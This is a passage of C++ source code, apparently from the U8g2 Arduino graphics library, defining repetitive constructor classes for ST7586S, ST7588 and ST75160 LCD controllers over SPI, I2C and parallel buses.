reset);\n  }\n};\nclass U8G2_ST7586S_YMC240160_F_4W_HW_SPI : public U8G2 {\n  public: U8G2_ST7586S_YMC240160_F_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7586s_ymc240160_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_ST7586S_YMC240160_F_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_ST7586S_YMC240160_F_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7586s_ymc240160_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_ST7586S_YMC240160_F_3W_SW_SPI : public U8G2 {\n  public: U8G2_ST7586S_YMC240160_F_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7586s_ymc240160_f(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_ST7586S_YMC240160_F_3W_HW_SPI : public U8G2 {\n  public: U8G2_ST7586S_YMC240160_F_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7586s_ymc240160_f(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_ST7586S_YMC240160_F_6800 : public U8G2 {\n  public: U8G2_ST7586S_YMC240160_F_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7586s_ymc240160_f(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_ST7586S_YMC240160_F_8080 : public U8G2 {\n  public: U8G2_ST7586S_YMC240160_F_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7586s_ymc240160_f(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_ST7588_JLX12864_1_4W_SW_SPI : public U8G2 {\n  public: U8G2_ST7588_JLX12864_1_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7588_jlx12864_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_ST7588_JLX12864_1_4W_HW_SPI : public U8G2 {\n  public: U8G2_ST7588_JLX12864_1_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7588_jlx12864_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_ST7588_JLX12864_1_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_ST7588_JLX12864_1_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7588_jlx12864_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_ST7588_JLX12864_1_3W_SW_SPI : public U8G2 {\n  public: U8G2_ST7588_JLX12864_1_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7588_jlx12864_1(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_ST7588_JLX12864_1_3W_HW_SPI : public U8G2 {\n  public: U8G2_ST7588_JLX12864_1_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7588_jlx12864_1(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_ST7588_JLX12864_1_6800 : public U8G2 {\n  public: U8G2_ST7588_JLX12864_1_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7588_jlx12864_1(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_ST7588_JLX12864_1_8080 : public U8G2 {\n  public: U8G2_ST7588_JLX12864_1_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7588_jlx12864_1(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_ST7588_JLX12864_2_4W_SW_SPI : public U8G2 {\n  public: U8G2_ST7588_JLX12864_2_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7588_jlx12864_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_ST7588_JLX12864_2_4W_HW_SPI : public U8G2 {\n  public: U8G2_ST7588_JLX12864_2_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7588_jlx12864_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_ST7588_JLX12864_2_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_ST7588_JLX12864_2_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7588_jlx12864_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_ST7588_JLX12864_2_3W_SW_SPI : public U8G2 {\n  public: U8G2_ST7588_JLX12864_2_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7588_jlx12864_2(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_ST7588_JLX12864_2_3W_HW_SPI : public U8G2 {\n  public: U8G2_ST7588_JLX12864_2_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7588_jlx12864_2(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_ST7588_JLX12864_2_6800 : public U8G2 {\n  public: U8G2_ST7588_JLX12864_2_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7588_jlx12864_2(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_ST7588_JLX12864_2_8080 : public U8G2 {\n  public: U8G2_ST7588_JLX12864_2_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7588_jlx12864_2(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_ST7588_JLX12864_F_4W_SW_SPI : public U8G2 {\n  public: U8G2_ST7588_JLX12864_F_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7588_jlx12864_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_ST7588_JLX12864_F_4W_HW_SPI : public U8G2 {\n  public: U8G2_ST7588_JLX12864_F_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7588_jlx12864_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_ST7588_JLX12864_F_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_ST7588_JLX12864_F_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7588_jlx12864_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_ST7588_JLX12864_F_3W_SW_SPI : public U8G2 {\n  public: U8G2_ST7588_JLX12864_F_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7588_jlx12864_f(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_ST7588_JLX12864_F_3W_HW_SPI : public U8G2 {\n  public: U8G2_ST7588_JLX12864_F_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7588_jlx12864_f(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_ST7588_JLX12864_F_6800 : public U8G2 {\n  public: U8G2_ST7588_JLX12864_F_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7588_jlx12864_f(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_ST7588_JLX12864_F_8080 : public U8G2 {\n  public: U8G2_ST7588_JLX12864_F_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7588_jlx12864_f(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_ST7588_JLX12864_1_SW_I2C : public U8G2 {\n  public: U8G2_ST7588_JLX12864_1_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7588_i2c_jlx12864_1(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8G2_ST7588_JLX12864_1_HW_I2C : public U8G2 {\n  public: U8G2_ST7588_JLX12864_1_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7588_i2c_jlx12864_1(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8G2_ST7588_JLX12864_1_2ND_HW_I2C : public U8G2 {\n  public: U8G2_ST7588_JLX12864_1_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7588_i2c_jlx12864_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8G2_ST7588_JLX12864_2_SW_I2C : public U8G2 {\n  public: U8G2_ST7588_JLX12864_2_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7588_i2c_jlx12864_2(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8G2_ST7588_JLX12864_2_HW_I2C : public U8G2 {\n  public: U8G2_ST7588_JLX12864_2_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7588_i2c_jlx12864_2(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8G2_ST7588_JLX12864_2_2ND_HW_I2C : public U8G2 {\n  public: U8G2_ST7588_JLX12864_2_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7588_i2c_jlx12864_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8G2_ST7588_JLX12864_F_SW_I2C : public U8G2 {\n  public: U8G2_ST7588_JLX12864_F_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7588_i2c_jlx12864_f(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8G2_ST7588_JLX12864_F_HW_I2C : public U8G2 {\n  public: U8G2_ST7588_JLX12864_F_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7588_i2c_jlx12864_f(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8G2_ST7588_JLX12864_F_2ND_HW_I2C : public U8G2 {\n  public: U8G2_ST7588_JLX12864_F_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7588_i2c_jlx12864_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8G2_ST75160_JM16096_1_4W_SW_SPI : public U8G2 {\n  public: U8G2_ST75160_JM16096_1_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75160_jm16096_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_ST75160_JM16096_1_4W_HW_SPI : public U8G2 {\n  public: U8G2_ST75160_JM16096_1_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75160_jm16096_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_ST75160_JM16096_1_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_ST75160_JM16096_1_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75160_jm16096_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_ST75160_JM16096_1_3W_SW_SPI : public U8G2 {\n  public: U8G2_ST75160_JM16096_1_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75160_jm16096_1(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_ST75160_JM16096_1_3W_HW_SPI : public U8G2 {\n  public: U8G2_ST75160_JM16096_1_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75160_jm16096_1(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_ST75160_JM16096_1_6800 : public U8G2 {\n  public: U8G2_ST75160_JM16096_1_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75160_jm16096_1(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_ST75160_JM16096_1_8080 : public U8G2 {\n  public: U8G2_ST75160_JM16096_1_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75160_jm16096_1(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_ST75160_JM16096_2_4W_SW_SPI : public U8G2 {\n  public: U8G2_ST75160_JM16096_2_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75160_jm16096_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_ST75160_JM16096_2_4W_HW_SPI : public U8G2 {\n  public: U8G2_ST75160_JM16096_2_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75160_jm16096_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_ST75160_JM16096_2_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_ST75160_JM16096_2_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75160_jm16096_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_ST75160_JM16096_2_3W_SW_SPI : public U8G2 {\n  public: U8G2_ST75160_JM16096_2_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75160_jm16096_2(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_ST75160_JM16096_2_3W_HW_SPI : public U8G2 {\n  public: U8G2_ST75160_JM16096_2_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75160_jm16096_2(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_ST75160_JM16096_2_6800 : public U8G2 {\n  public: U8G2_ST75160_JM16096_2_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75160_jm16096_2(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_ST75160_JM16096_2_8080 : public U8G2 {\n  public: U8G2_ST75160_JM16096_2_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75160_jm16096_2(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_ST75160_JM16096_F_4W_SW_SPI : public U8G2 {\n  public: U8G2_ST75160_JM16096_F_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75160_jm16096_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_ST75160_JM16096_F_4W_HW_SPI : public U8G2 {\n  public: U8G2_ST75160_JM16096_F_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75160_jm16096_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_ST75160_JM16096_F_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_ST75160_JM16096_F_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75160_jm16096_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_ST75160_JM16096_F_3W_SW_SPI : public U8G2 {\n  public: U8G2_ST75160_JM16096_F_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75160_jm16096_f(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_ST75160_JM16096_F_3W_HW_SPI : public U8G2 {\n  public: U8G2_ST75160_JM16096_F_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75160_jm16096_f(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_ST75160_JM16096_F_6800 : public U8G2 {\n  public: U8G2_ST75160_JM16096_F_6800(const u8g2_cb_t *rotation, uint8_t 